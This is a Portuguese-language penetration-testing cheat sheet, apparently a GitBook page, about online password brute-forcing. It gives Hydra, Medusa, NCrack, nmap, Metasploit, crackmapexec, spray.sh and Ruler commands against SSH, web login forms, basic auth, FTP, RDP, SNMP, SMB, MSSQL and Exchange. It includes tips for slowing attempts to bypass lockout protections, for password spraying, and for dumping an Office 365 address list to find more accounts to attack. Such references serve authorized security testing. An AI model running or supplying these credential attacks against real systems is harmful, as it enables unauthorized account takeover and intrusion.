Online
SSH
Hydra
Utilize o argumento -s <port>
, caso o SSH não esteja na porta 22 (default)
hydra -L <wordlist-user.txt> -P <wordlist-passwords.txt> <ip_alvo> ssh
hydra -l <user> -P <wordlist-passwords.txt> ssh://<ip>:<port> -v
Caso saiba o user SSH, pode-se colocar manualmente, alterando -L
por -l
, e o mesmo pode ser feito para o passaword, alterando -P
por -p
. Exemplo:
hydra -l root -P <wordlist-passwords.txt> <ip_alvo> ssh
O Hydra também consegue trabalhar com uma lista de servidores
hydra -L <wordlist-user.txt> -P <wordlist-passwords.txt> -M <wordlist-servers.txt> -o <arquivo_de_saida.txt> -f -w 2s ssh
EXPLICAÇÃO
-w 2s
= Define que irá realizar uma nova tentativa a cada 2 segundos-f
= Assim que achar uma conta válida, ignore o resto da wordlist
OBS.: Utilizamos aqui como exemplo o SSH, mas o Hydra suporta outros protocolos como FTP, Telnet, etc. Basta alterar o protocolo no final do comando.
Medusa
medusa -h <ip> -n 22 -U <usuario> -P <wordlist.txt> -M ssh
HTTP Form
Hydra
hydra -L <wordlist-user.txt> -P <wordlist-passwords.txt> <domain_wihtout_http> -s <port> http-post-form "/login.php:user=^USER^&pass=^PASS^:Mensagem que aparece na falha"
OBS.: Atente-se aos :
(dois pontos) nos parâmetros e sempre matenha os parâmetros ^USER^
e ^PASS^
e troque o login.php
pelo nome do arquivo/página que realiza de fato a autenticação.
Tudo o que não tiver a frase Mensagem que aparece na falha
, será considerado como login correto.
hydra -l admin -P <wordlist.txt> <domain_wihtout_http> http-post-form "/index.php:password=^PASS^:<mensagem de erro>"
Case use cookie ou algo no cabeçalho, utilize o seguinte padrão:
hydra -L <wordlist_user.txt> -P <wordlist_pass.txt> <domain_wihtout_http> http-post-form "/index.php:user=^USER^&pass=^PASS^:F=Mensagem que aparece na falha:H=Cookie: PHPSESSID=2hosvf7f7g1ap5g0esc2k8tsqj; path=/"
Hydra + Proxy
Para interceptar as requisições via Burp Suite, utilize o seguinte comando antes de executar o hydra.
export HYDRA_PROXY_HTTP=http://127.0.0.1:8080
Basic Authentication
Realize esse tipo de ataque quando aparecer um popup solicitando um usuário e senha assim que acessar a página WEB.
Hydra
hydra -l <user> -P <wordlist.txt> <ip> http-get </subdirectory>
Utilize http-head caso o http-get não funcione
hydra -l <user> -P <wordlist.txt> <ip> http-head </subdirectory>
Medusa
medusa -h <ip> -u <user> -P <wordlist.txt> -M http -m DIR:</directory> -T 10
FTP
Hydra
Realizando Brute Force em diversos servidores
hydra -L <wordlist_user.txt> -P <wordlist_passwords.txt> -M <wordlist_servers.txt> -o <output_file.txt> -f -w 2s ftp
EXPLICAÇÃO
-w 2s
= Define que irá realizar uma nova tentativa a cada 2 segundos-f
= Assim que achar uma conta válida, ignore o resto da wordlist
NCrack
ncrack -u <user> -P <wordlist.txt> <ip> -p 21
Caso queira deixá-lo mais rápido, utilize o argumento -T 5
ou -t 5
semelhante ao NMAP. Em casos onde há bloqueio de tentativas simultâneas, diminua o valor para 2 (por exemplo), para bypassar esse bloqueio.
nmap
map -p21 --script ftp-brute --script-args userdb=</path/users.txt> <ip>
RDP (Windows)
ncrack
ncrack -vv --user <user> -P <wordlist.txt> rdp://<ip>
hydra
hydra -L <user.txt> -P <pass.txt> -v <ip> rdp
hydra -L <user.txt> -P <pass.txt> rdp://<ip>
hydra -V -f -l <user> -P <pass.txt> rdp://<ip>
SNMP
Hydra
hydra -P <wordlist.txt> -v <ip> snmp
Metasploit
msfconsole
use auxiliary/scanner/snmp/snmp_login
set RHOSTS <ip>
set THREADS 5
exploit
SMB
crackmapexec
crackmapexec smb <ip> -u <user.txt> -p <pass.txt>
# Configurando para não parar o teste após encontrar uma conta válida
crackmapexec smb <ip> -u <user.txt> -p <pass.txt> --continue-on-success
Hydra
hydra -L <wordlist_user.txt> -P <wordlist_pass.txt> <ip_alvo> smb
NCrack
ncrack –U <wordlist_user.txt> -P <wordlist_pass.txt> <ip_alvo> –p 445
Medusa
medusa -h <ip_alvo> -U <wordlist_user.txt> -P <wordlist_pass.txt> -M smbnt
Microsoft SQL Server
Metasploit
msfconsole -q
use auxiliary/scanner/mssql/mssql_login
set rhosts <ip>
set user_file <users.txt>
set pass_file <pass.txt>
exploit
nmap
nmap -p 1433 --script ms-sql-brute --script-args userdb=<wordlist.txt>,passwd=<wordlist> <ip>
Spray
Está ferramenta serve para realizar brute force seguindo o Password Spraying
, que segue uma abordagem um pouco diferente do brute force tradicional, pois essa utiliza uma wordlist específica para o alvo, e também respeita limites de tentativas e tempo de espera, para evitar que a conta seja bloqueada. Este processo pode ser um tanto quanto lento, porém pode trazer bons resultados.
O Spray suporta protocolos como SMB
, OVA
e LYNC
(Microsoft Chat).
./spray.sh <protocolo> <ip> <wordlist_user> <wordlist_password> <qtdade_tentativas> <qtdade_tempo_espera> <domain>
Caso esteja utilizando um POST, salve a requisição (Burp Suite) em um arquivo de texto e altere o valor do POST para o seguinte formato de exemplo e depois utilize a sintaxe abaixo: username=sprayuser@domain.com&password=spraypassword
./spray.sh <protocolo> <http://site.com> <wordlist_user> <wordlist_password> <qtdade_tentativas> <qtdade_tempo_espera> <requisicao_burp_suite>
Ruler
Esta é uma ferramenta que permite interagir remotamente com Servidores Exchange, por meio do protocolo MAPI/HTTP
ou RPC/HTTP
. O objetivo principal é abusar dos recursos do Outlook do lado do cliente e obter um shell remotamente.
go run ruler.go --domain <site.com> brute --users <wordlist_user.txt> --passwords <wordlist_password.txt>
Uma vez que conseguimos pegar credenciais válidas, podemos fazer um dump de todos os usuários do O365 Global Address List (GAL)
e depois fazermos brute force com as novas contas localizadas.
go run ruler.go --email <conta@site.com> abk dump --output <file.txt>
Last updated
Was this helpful?